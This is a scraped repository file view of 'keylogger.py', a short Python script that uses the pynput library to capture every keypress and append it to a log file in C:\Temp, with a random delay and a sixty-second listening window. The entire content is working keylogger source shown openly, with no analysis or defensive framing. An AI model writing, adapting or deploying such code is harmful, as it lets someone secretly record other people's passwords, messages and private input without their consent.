-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathkeylogger.py
More file actions
47 lines (33 loc) · 1.02 KB
/
keylogger.py
File metadata and controls
47 lines (33 loc) · 1.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import time
import random
from pynput.keyboard import Listener, Key
import os
from datetime import datetime
# 8/13/2025
# Listen to keys
# AUX-441
class get_key:
def get_key(self, key):
path = "C:\\Temp"
file = "logs.txt"
full = os.path.join(path, file)
if not os.path.exists(path):
os.makedirs(path)
print("Directory Created Successfully ..")
if not os.path.exists(full):
open(full, "w", encoding="utf-8").close()
time.sleep(random.randint(1,3))
print("File Created Successfully ..")
with open(full, "a", encoding="utf-8") as f:
if key == Key.space:
f.write("\n\n Space Pressed")
elif key == Key.enter:
f.write("\n Enter Pressed")
else:
f.write(str(key))
def start(self):
with Listener(on_press=self.get_key) as listener:
listener.join(timeout=60)
if __name__ == "__main__":
gk = get_key()
gk.start()